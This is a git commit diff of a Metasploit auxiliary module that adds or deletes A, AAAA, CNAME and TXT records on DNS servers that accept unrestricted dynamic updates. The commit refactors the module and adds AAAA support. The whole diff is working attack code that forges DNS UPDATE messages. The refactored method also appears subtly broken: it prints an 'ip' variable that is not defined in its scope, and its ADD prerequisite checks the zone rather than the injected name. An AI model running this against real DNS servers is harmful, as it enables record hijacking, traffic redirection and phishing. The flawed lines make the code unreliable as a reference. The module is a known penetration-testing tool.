simplify module, add AAAA support
This commit is contained in:
parent
cdf0091962
commit
125d14f81e
|
@ -14,171 +14,87 @@ class MetasploitModule < Msf::Auxiliary
|
|||
This module allows adding and/or deleting a record to
|
||||
any remote DNS server that allows unrestricted dynamic updates.},
|
||||
'Author' => [ 'King Sabri <king.sabri[at]gmail.com>' ],
|
||||
'References' =>
|
||||
[
|
||||
['URL', 'http://www.tenable.com/plugins/index.php?view=single&id=35372'],
|
||||
['URL', 'https://github.com/KINGSABRI/CVE-in-Ruby/tree/master/NONE-CVE/DNSInject'],
|
||||
['URL', 'https://www.christophertruncer.com/dns-modification-dnsinject-nessus-plugin-35372/'],
|
||||
['URL', 'https://github.com/ChrisTruncer/PenTestScripts/blob/master/DNSInject.py']
|
||||
],
|
||||
'References' => [
|
||||
['URL', 'http://www.tenable.com/plugins/index.php?view=single&id=35372'],
|
||||
['URL', 'https://github.com/KINGSABRI/CVE-in-Ruby/tree/master/NONE-CVE/DNSInject'],
|
||||
['URL', 'https://www.christophertruncer.com/dns-modification-dnsinject-nessus-plugin-35372/'],
|
||||
['URL', 'https://github.com/ChrisTruncer/PenTestScripts/blob/master/DNSInject.py']
|
||||
],
|
||||
'License' => MSF_LICENSE,
|
||||
'Actions' =>
|
||||
[
|
||||
['ADD', {'Description' => 'Add a new record. [Default]'}],
|
||||
['DEL', {'Description' => 'Delete an existing record.'}]
|
||||
],
|
||||
'Actions' => [
|
||||
['ADD', {'Description' => 'Add a new record. [Default]'}],
|
||||
['DEL', {'Description' => 'Delete an existing record.'}]
|
||||
],
|
||||
'DefaultAction' => 'ADD'
|
||||
)
|
||||
|
||||
register_options([
|
||||
OptString.new('DOMAIN', [true, 'The domain name']),
|
||||
OptAddress.new('NS', [true, 'The vulnerable DNS server IP address']),
|
||||
OptString.new('INJECTDOMAIN', [true, 'The name record you want to inject']),
|
||||
OptAddress.new('INJECTIP', [true, 'The IP you want to assign to the injected record']),
|
||||
OptEnum.new('TYPE', [true, 'The record type you want to inject.', 'A', ['A', 'CNAME', 'TXT']])
|
||||
OptString.new('HOSTNAME', [true, 'The name record you want to inject']),
|
||||
OptAddress.new('IP', [true, 'The IP you want to assign to the injected record']),
|
||||
OptString.new('VALUE', [true, 'The string to be injected with TXT or CNAME record', 'w00t']),
|
||||
OptEnum.new('TYPE', [true, 'The record type you want to inject.', 'A', ['A', 'AAAA', 'CNAME', 'TXT']])
|
||||
])
|
||||
|
||||
register_advanced_options([
|
||||
OptString.new('TXTSTRING', [true, 'The string to be injected with TXT record', 'w00t'
|
||||
])
|
||||
])
|
||||
deregister_options('RHOST', 'RPORT')
|
||||
end
|
||||
|
||||
def a_record(action)
|
||||
def update_record(type:, type_enum:, value:)
|
||||
# Send the update to the zone's primary master.
|
||||
domain = datastore['DOMAIN']
|
||||
fqdn = "#{datastore['HOSTNAME']}.#{domain}"
|
||||
resolver = Dnsruby::Resolver.new({:nameserver => datastore['NS']})
|
||||
update = Dnsruby::Update.new(datastore['DOMAIN'])
|
||||
update = Dnsruby::Update.new(domain)
|
||||
case
|
||||
when action == 'ADD'
|
||||
when action.name == 'ADD'
|
||||
# Prerequisite is that no A records exist for the name.
|
||||
update.absent("#{datastore['INJECTDOMAIN']}.", 'A')
|
||||
update.absent("#{domain}.", type)
|
||||
# Add two A records for the name.
|
||||
update.add("#{datastore['INJECTDOMAIN']}.", Dnsruby::Types.A , 86400, datastore['INJECTIP'])
|
||||
update.add("#{fqdn}.", type_enum, 86400, value)
|
||||
begin
|
||||
resolver.send_message(update)
|
||||
print_good("The record '#{datastore['INJECTDOMAIN']} => #{datastore['INJECTIP']}' has been added!")
|
||||
rescue Dnsruby::YXRRSet => e
|
||||
print_error("Can't inject #{datastore['INJECTDOMAIN']}. Make sure the DNS server is vulnerable or domain already exists.")
|
||||
vprint_error("Update failed: #{e}")
|
||||
end
|
||||
when action == 'DEL'
|
||||
begin
|
||||
update.present(datastore['INJECTDOMAIN'], 'A')
|
||||
update.delete(datastore['INJECTDOMAIN'], 'A')
|
||||
resolver.send_message(update)
|
||||
print_good("The record '#{datastore['INJECTDOMAIN']} => #{datastore['INJECTIP']}' has been deleted!")
|
||||
rescue Dnsruby::NXRRSet => e
|
||||
print_error("Can't delete #{datastore['INJECTDOMAIN']}. DNS server is vulnerable or domain doesn't exist.")
|
||||
vprint_error "Update failed: #{e}"
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
def cname_record(action)
|
||||
resolver = Dnsruby::Resolver.new({:nameserver => datastore['NS']})
|
||||
update = Dnsruby::Update.new(datastore['DOMAIN'])
|
||||
case
|
||||
when action == 'ADD'
|
||||
update.absent(datastore['INJECTDOMAIN'])
|
||||
update.add(datastore['INJECTDOMAIN'], Dnsruby::Types.CNAME, 86400, datastore['DOMAIN'])
|
||||
begin
|
||||
resolver.send_message(update)
|
||||
print_good("The record '#{datastore['INJECTDOMAIN']} => #{datastore['DOMAIN']}' has been added!")
|
||||
rescue Dnsruby::YXDomain => e
|
||||
print_error("Can't inject #{datastore['INJECTDOMAIN']}. Make sure the DNS server is vulnerable or domain already exists.")
|
||||
vprint_error("Update failed: #{e}")
|
||||
end
|
||||
when action == 'DEL'
|
||||
begin
|
||||
update.present(datastore['INJECTDOMAIN'], 'CNAME')
|
||||
update.delete(datastore['INJECTDOMAIN'], 'CNAME')
|
||||
resolver.send_message(update)
|
||||
print_good("The record '#{datastore['INJECTDOMAIN']} => #{datastore['DOMAIN']}' has been deleted!")
|
||||
print_good("The record '#{fqdn} => #{ip}' has been added!")
|
||||
rescue Exception => e
|
||||
print_error("Can't delete #{datastore['INJECTDOMAIN']}. DNS server is vulnerable or domain doesn't exist.")
|
||||
vprint_error "Update failed: #{e}"
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
def txt_record(action)
|
||||
resolver = Dnsruby::Resolver.new({:nameserver => datastore['NS']})
|
||||
update = Dnsruby::Update.new(datastore['DOMAIN'])
|
||||
case
|
||||
when action == 'ADD'
|
||||
update.absent(datastore['INJECTDOMAIN'])
|
||||
update.add(datastore['INJECTDOMAIN'], Dnsruby::Types.TXT, 86400, datastore['TXTSTRING'])
|
||||
|
||||
begin
|
||||
resolver.send_message(update)
|
||||
print_good("The record '#{datastore['INJECTDOMAIN']} => #{datastore['TXTSTRING']}' has been added!")
|
||||
rescue Dnsruby::YXDomain => e
|
||||
print_error("Can't inject #{datastore['INJECTDOMAIN']}. Make sure the DNS server is vulnerable or domain already exists.")
|
||||
vprint_error("Update failed: #{e}")
|
||||
print_error "Cannot inject #{fqdn}. Make sure the DNS server is vulnerable or hostname already exists."
|
||||
vprint_error "Update failed: #{e.message}"
|
||||
end
|
||||
when action == 'DEL'
|
||||
begin
|
||||
update.present(datastore['INJECTDOMAIN'], 'TXT')
|
||||
update.delete(datastore['INJECTDOMAIN'], 'TXT')
|
||||
update.present(fqdn, type)
|
||||
update.delete(fqdn, type)
|
||||
resolver.send_message(update)
|
||||
print_good("The record '#{datastore['INJECTDOMAIN']} => #{datastore['TXTSTRING']}' has been deleted!")
|
||||
rescue Dnsruby::NXRRSet => e
|
||||
print_error("Can't delete #{datastore['INJECTDOMAIN']}. DNS server is vulnerable or domain doesn't exist.")
|
||||
vprint_error "Update failed: #{e}"
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
def mx_record(action)
|
||||
resolver = Dnsruby::Resolver.new({:nameserver => datastore['NS']})
|
||||
update = Dnsruby::Update.new(datastore['DOMAIN'])
|
||||
case
|
||||
when action == 'ADD'
|
||||
# Add A record for MX record
|
||||
a_record(action) rescue $!.class == Dnsruby::YXRRSet # Avoid 'a_record' exception and keep going
|
||||
update.present(datastore['INJECTDOMAIN'])
|
||||
update.add(datastore['INJECTDOMAIN'], Dnsruby::Types.MX, 10, datastore['INJECTDOMAIN'])
|
||||
begin
|
||||
resolver.send_message(update)
|
||||
print_good("The record '#{datastore['INJECTDOMAIN']} => #{datastore['INJECTIP']}' has been added!")
|
||||
rescue ::Exception => e
|
||||
print_error("Can't inject #{datastore['INJECTDOMAIN']}. Make sure the DNS server is vulnerable or domain already exists.")
|
||||
vprint_error("Update failed: #{e}")
|
||||
end
|
||||
when action == 'DEL'
|
||||
begin
|
||||
update.present(datastore['INJECTDOMAIN'], 'MX')
|
||||
update.delete(datastore['INJECTDOMAIN'], 'MX')
|
||||
resolver.send_message(update)
|
||||
print_good("The record '#{datastore['INJECTDOMAIN']} => #{datastore['INJECTIP']}' has been deleted!")
|
||||
print_good("The record '#{fqdn} => #{ip}' has been deleted!")
|
||||
rescue Exception => e
|
||||
print_error("Can't delete #{datastore['INJECTDOMAIN']}. DNS server is vulnerable or domain doesn't exist.")
|
||||
vprint_error "Update failed: #{e}"
|
||||
print_error "Cannot delete #{fqdn}. DNS server is vulnerable or domain doesn't exist."
|
||||
vprint_error "Update failed: #{e.message}"
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
def run
|
||||
ip = datastore['IP']
|
||||
value = datastore['VALUE']
|
||||
begin
|
||||
print_status("Sending DNS query payload...")
|
||||
case
|
||||
when datastore['TYPE'] == 'A'
|
||||
a_record(action.name)
|
||||
when datastore['TYPE'] == 'CNAME'
|
||||
cname_record(action.name)
|
||||
when datastore['TYPE'] == 'TXT'
|
||||
txt_record(action.name)
|
||||
# MX does not work yet
|
||||
# when datastore['TYPE'] == 'MX'
|
||||
# mx_record(action.name)
|
||||
else
|
||||
print_error "Invalid Record Type!"
|
||||
when datastore['TYPE'] == 'A'
|
||||
update_record(type: 'A', type_enum: Dnsruby::Types.A, value: ip)
|
||||
when datastore['TYPE'] == 'AAAA'
|
||||
update_record(type: 'AAAA', type_enum: Dnsruby::Types.AAAA, value: ip)
|
||||
when datastore['TYPE'] == 'CNAME'
|
||||
update_record(type: 'CNAME', type_enum: Dnsruby::Types.CNAME, value: value)
|
||||
when datastore['TYPE'] == 'TXT'
|
||||
update_record(type: 'TXT', type_enum: Dnsruby::Types.TXT, value: value)
|
||||
else
|
||||
print_error "Invalid Record Type!"
|
||||
end
|
||||
rescue ArgumentError => e
|
||||
print_error(e.message)
|
||||
rescue Dnsruby::OtherResolvError
|
||||
print_error("Connection Refused!")
|
||||
rescue Dnsruby::DecodeError
|
||||
print_error("None DNS protocol answer!, Make sure it's a DNS service")
|
||||
print_error("Invalid DNS reply, ensure you are connecting to a DNS server")
|
||||
end
|
||||
end
|
||||
|
||||
|
|
Loading…
Reference in New Issue